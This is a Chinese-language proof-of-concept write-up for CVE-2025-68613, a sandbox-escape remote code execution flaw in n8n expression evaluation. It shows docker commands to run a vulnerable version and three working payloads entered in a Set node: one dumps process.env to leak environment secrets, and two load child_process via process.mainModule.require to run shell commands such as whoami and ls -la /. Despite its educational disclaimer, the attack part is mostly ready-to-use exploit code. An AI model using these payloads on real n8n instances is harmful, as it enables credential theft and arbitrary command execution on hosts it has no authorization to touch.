仅供教育目的 本概念验证展示了n8n中的一个严重漏洞(CVE-2025-68613)。请勿在非您拥有或未经明确许可的系统上使用。
n8n 1.122.0 之前的版本包含一个远程代码执行(RCE)漏洞。已认证用户可以通过工作流表达式编辑器中的特定JavaScript负载绕过表达式沙箱,在宿主系统上执行任意代码。
创建一个数据卷并运行易受攻击版本的n8n(例如v1.120.0)。
# Create volume for persistence
docker volume create n8n_data
# Run vulnerable n8n instance
docker run -it --rm \
--name n8n \
-p 5678:5678 \
-v n8n_data:/home/node/.n8n \
n8nio/n8n:1.120.0
导航到 http://localhost:5678 并根据需要完成初始设置。

点击“添加工作流”开始一个空白工作流。

向工作流添加一个 Set 节点。该节点允许我们定义可以被求值为表达式的值。

在 Set 节点中,修改一个参数(例如 value)并将输入类型更改为 表达式。

在表达式编辑器中输入以下载荷以演示该漏洞。
该载荷访问 this.process.env 以泄漏容器中的敏感环境变量。
载荷:
{{ (function() {
return JSON.stringify(this.process.env, null, 2);
})() }}
结果:

该载荷通过访问 process.mainModule.require 加载 child_process 模块来绕过沙箱,从而允许执行任意系统命令。
载荷:
{{ (function() {
const require = this.process.mainModule.require;
const { execSync } = require('child_process');
return execSync('whoami').toString();
})() }}

结果: 验证正在运行进程的用户上下文。
演示浏览文件系统的能力。
载荷:
{{ (function() {
const require = this.process.mainModule.require;
const { execSync } = require('child_process');
return execSync('ls -la /').toString();
})() }}
结果:
